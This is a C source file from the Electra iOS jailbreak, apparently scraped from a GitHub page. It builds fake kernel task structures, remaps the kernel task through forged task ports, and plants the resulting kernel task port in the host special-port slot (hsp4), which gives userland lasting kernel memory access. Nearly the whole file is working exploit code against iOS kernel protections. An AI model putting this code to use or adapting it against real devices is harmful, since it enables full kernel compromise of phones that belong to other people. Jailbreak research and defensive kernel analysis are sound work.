-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathremap_tfp_set_hsp.c
173 lines (129 loc) · 6.26 KB
/
remap_tfp_set_hsp.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
//
// remap_tfp_set_hsp.c
// electra
//
// Created by Viktor Oreshkin on 16.01.18.
// Copyright © 2018 Electra Team. All rights reserved.
//
#import "remap_tfp_set_hsp.h"
#import <stdlib.h>
#import "kernel_utils.h"
#import "time_waste/offsets.h"
#import "patchfinder64.h"
kern_return_t mach_vm_remap(vm_map_t dst, mach_vm_address_t *dst_addr, mach_vm_size_t size, mach_vm_offset_t mask, int flags, vm_map_t src, mach_vm_address_t src_addr, boolean_t copy, vm_prot_t *cur_prot, vm_prot_t *max_prot, vm_inherit_t inherit);
uint64_t make_fake_task(uint64_t vm_map) {
uint64_t fake_task_kaddr = Kernel_alloc_wired(0x1000);
void* fake_task = malloc(0x1000);
memset(fake_task, 0, 0x1000);
*(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_REF_COUNT)) = 0xd00d; // leak references
*(uint32_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_ACTIVE)) = 1;
*(uint64_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP)) = vm_map;
*(uint8_t*)(fake_task + koffset(KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE)) = 0x22;
Kernel_memcpy(fake_task_kaddr, (uint64_t) fake_task, 0x1000);
free(fake_task);
return fake_task_kaddr;
}
// in kernel_utils.h
void MakePortFakeTaskPort(mach_port_t port, uint64_t task_kaddr);
int setHSP4() {
// huge thanks to Siguza for hsp4 & v0rtex
// for explainations and being a good rubber duck :p
// see https://github.com/siguza/hsp4 for some background and explaination
// tl;dr: there's a pointer comparison in convert_port_to_task_with_exec_token
// which makes it return TASK_NULL when kernel_task is passed
// "simple" vm_remap is enough to overcome this.
// However, vm_remap has weird issues with submaps -- it either doesn't remap
// or using remapped addresses leads to panics and kittens crying.
// tasks fall into zalloc, so src_map is going to be zone_map
// zone_map works perfectly fine as out zone -- you can
// do remap with src/dst being same and get new address
// however, using kernel_map makes more sense
// we don't want zalloc to mess with our fake task
// and neither
// proper way to use vm_* APIs from userland is via mach_vm_*
// but those accept task ports, so we're gonna set up
// fake task, which has zone_map as its vm_map
// then we'll build fake task port from that
// and finally pass that port both as src and dst
// last step -- wire new kernel task -- always a good idea to wire critical
// kernel structures like tasks (or vtables :P )
// and we can write our port to realhost.special[4]
// we can use mach_host_self() if we're root
mach_port_t mapped_tfp0 = MACH_PORT_NULL;
mach_port_t *port = &mapped_tfp0;
mach_port_t host_priv = FakeHostPriv();
int ret;
uint64_t remapped_task_addr = 0;
// task is smaller than this but it works so meh
uint64_t sizeof_task = 0x1000;
uint64_t kernel_task_kaddr;
{
// find kernel task first
kernel_task_kaddr = taskStruct_of_pid(0);
if (kernel_task_kaddr == 0) {
printf("[remap_kernel_task] failed to find kernel task\n");
return 1;
}
printf("[remap_kernel_task] kernel task at 0x%llx\n", kernel_task_kaddr);
}
mach_port_t zm_fake_task_port = MACH_PORT_NULL;
mach_port_t km_fake_task_port = MACH_PORT_NULL;
ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &zm_fake_task_port);
ret = ret || mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &km_fake_task_port);
if (ret == KERN_SUCCESS && *port == MACH_PORT_NULL) {
ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, port);
}
if (ret != KERN_SUCCESS) {
printf("[remap_kernel_task] unable to allocate ports: 0x%x (%s)\n", ret, mach_error_string(ret));
return 1;
}
// strref \"Nothing being freed to the zone_map. start = end = %p\\n\"
// or traditional \"zone_init: kmem_suballoc failed\"
uint64_t zone_map_kptr = Find_zone_map_ref();
uint64_t zone_map = KernelRead_64bits(zone_map_kptr);
// kernel_task->vm_map == kernel_map
uint64_t kernel_map = KernelRead_64bits(kernel_task_kaddr + koffset(KSTRUCT_OFFSET_TASK_VM_MAP));
uint64_t zm_fake_task_kptr = make_fake_task(zone_map);
uint64_t km_fake_task_kptr = make_fake_task(kernel_map);
MakePortFakeTaskPort(zm_fake_task_port, zm_fake_task_kptr);
MakePortFakeTaskPort(km_fake_task_port, km_fake_task_kptr);
km_fake_task_port = zm_fake_task_port;
vm_prot_t cur, max;
ret = mach_vm_remap(km_fake_task_port,
&remapped_task_addr,
sizeof_task,
0,
VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR,
zm_fake_task_port,
kernel_task_kaddr,
0,
&cur, &max,
VM_INHERIT_NONE);
if (ret != KERN_SUCCESS) {
printf("[remap_kernel_task] remap failed: 0x%x (%s)\n", ret, mach_error_string(ret));
return 1;
}
if (kernel_task_kaddr == remapped_task_addr) {
printf("[remap_kernel_task] remap failure: addr is the same after remap\n");
return 1;
}
printf("[remap_kernel_task] remapped successfully to 0x%llx\n", remapped_task_addr);
ret = mach_vm_wire(host_priv, km_fake_task_port, remapped_task_addr, sizeof_task, VM_PROT_READ | VM_PROT_WRITE);
if (ret != KERN_SUCCESS) {
printf("[remap_kernel_task] wire failed: 0x%x (%s)\n", ret, mach_error_string(ret));
return 1;
}
uint64_t port_kaddr = FindPortAddress(*port);
printf("[remap_kernel_task] port kaddr: 0x%llx\n", port_kaddr);
MakePortFakeTaskPort(*port, remapped_task_addr);
if (KernelRead_64bits(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)) != remapped_task_addr) {
printf("[remap_kernel_task] read back tfpzero kobject didnt match!\n");
return 1;
}
// lck_mtx -- arm: 8 arm64: 16
const int off_host_special = 0x10;
uint64_t host_priv_kaddr = FindPortAddress(mach_host_self());
uint64_t realhost_kaddr = KernelRead_64bits(host_priv_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
KernelWrite_64bits(realhost_kaddr + off_host_special + 4 * sizeof(void*), port_kaddr);
return 0;
}